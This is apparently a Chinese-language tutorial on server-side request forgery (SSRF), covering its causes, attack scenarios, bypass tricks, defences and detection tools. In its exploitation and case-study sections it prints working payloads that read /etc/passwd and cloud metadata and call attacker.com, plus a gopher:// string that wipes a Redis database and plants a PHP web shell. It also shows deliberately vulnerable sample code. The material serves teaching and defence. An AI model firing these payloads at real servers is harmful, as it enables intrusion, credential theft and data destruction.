SSRF漏洞分析
字数 1402 2025-08-29 22:41:24
SSRF漏洞分析教学文档
1. SSRF漏洞概述
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者能够诱使服务器向内部或外部的任意系统发起非预期的网络请求。
1.1 漏洞本质
- 服务器未对用户提供的URL进行充分验证
- 服务器信任了来自客户端的请求目标
- 攻击者可以绕过访问控制,使服务器成为攻击代理
2. SSRF漏洞成因
2.1 常见触发点
- 从URL获取数据的函数/方法
- 文件上传功能
- 远程资源加载
- API调用
- 服务器端重定向
2.2 危险函数/协议
file_get_contents()fsockopen()curl_exec()http://,https://file://dict://sftp://ldap://gopher://(特别危险)
3. SSRF攻击场景
3.1 内部服务探测
- 扫描内网IP和端口
- 访问云服务元数据接口(如AWS/阿里云/腾讯云等)
- 访问数据库管理界面
3.2 敏感数据读取
- 读取服务器本地文件(
file://) - 访问受保护的内部API
- 获取配置文件
3.3 服务端请求伪造
- 发起内部系统攻击
- 绕过IP白名单限制
- 作为跳板攻击第三方系统
4. SSRF漏洞利用技术
4.1 基本利用
// 示例漏洞代码
$url = $_GET['url'];
$data = file_get_contents($url);
攻击Payload:
http://victim.com/vuln.php?url=http://attacker.com
http://victim.com/vuln.php?url=file:///etc/passwd
http://victim.com/vuln.php?url=http://169.254.169.254/latest/meta-data/
4.2 高级绕过技术
-
IP地址编码绕过
- 十进制IP:
http://2130706433=http://127.0.0.1 - 十六进制IP:
http://0x7f000001=http://127.0.0.1 - 八进制IP:
http://0177.0.0.01=http://127.0.0.1
- 十进制IP:
-
域名重定向
- 使用短URL服务
- 使用可控的302跳转
-
协议滥用
dict://协议泄露服务信息gopher://协议构造任意TCP请求
5. SSRF防御措施
5.1 输入验证
- 白名单域名/IP
- 禁止内部IP段
- 验证URL格式
5.2 安全配置
- 禁用危险协议(
file://,gopher://,dict://等) - 设置CURLOPT_PROTOCOLS限制允许的协议
- 使用curl时设置CURLOPT_HTTPPROXYTUNNEL为false
5.3 网络层防护
- 服务器网络隔离
- 关键服务访问控制
- 云服务元数据接口保护
5.4 代码示例
// 安全的URL验证函数
function isSafeUrl($url) {
$parsed = parse_url($url);
// 禁止file协议
if(isset($parsed['scheme']) && in_array(strtolower($parsed['scheme']), ['file', 'gopher', 'dict'])) {
return false;
}
// 禁止内部IP
$ip = gethostbyname($parsed['host']);
if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return false;
}
// 白名单验证
$whitelist = ['example.com', 'api.trusted.com'];
if(!in_array($parsed['host'], $whitelist)) {
return false;
}
return true;
}
6. 检测与审计
6.1 漏洞检测方法
- 黑盒测试:尝试各种协议和IP格式
- 代码审计:查找危险函数调用
- 流量监控:分析服务器发起的异常请求
6.2 自动化工具
- SSRFmap
- Gopherus
- Burp Suite Collaborator
7. 实际案例分析
7.1 云服务元数据泄露
http://vuln.com/load?url=http://169.254.169.254/latest/meta-data/
7.2 Redis未授权访问
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C?php%20system($_GET[cmd])%20?%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
8. 进阶研究
8.1 DNS重绑定攻击
- 利用TTL为0的DNS记录绕过IP检查
- 首次解析为合法IP,后续解析为内部IP
8.2 盲SSRF
- 无回显的SSRF
- 通过时间延迟、DNS查询等方式检测
9. 参考资源
- OWASP SSRF备忘单
- SSRF漏洞CWE分类:CWE-918
- 云服务元数据接口文档
本教学文档涵盖了SSRF漏洞的核心知识点,包括漏洞原理、利用技术、防御措施和实际案例。建议开发人员和安全工程师深入理解这些内容,并在实际工作中应用相应的防护措施。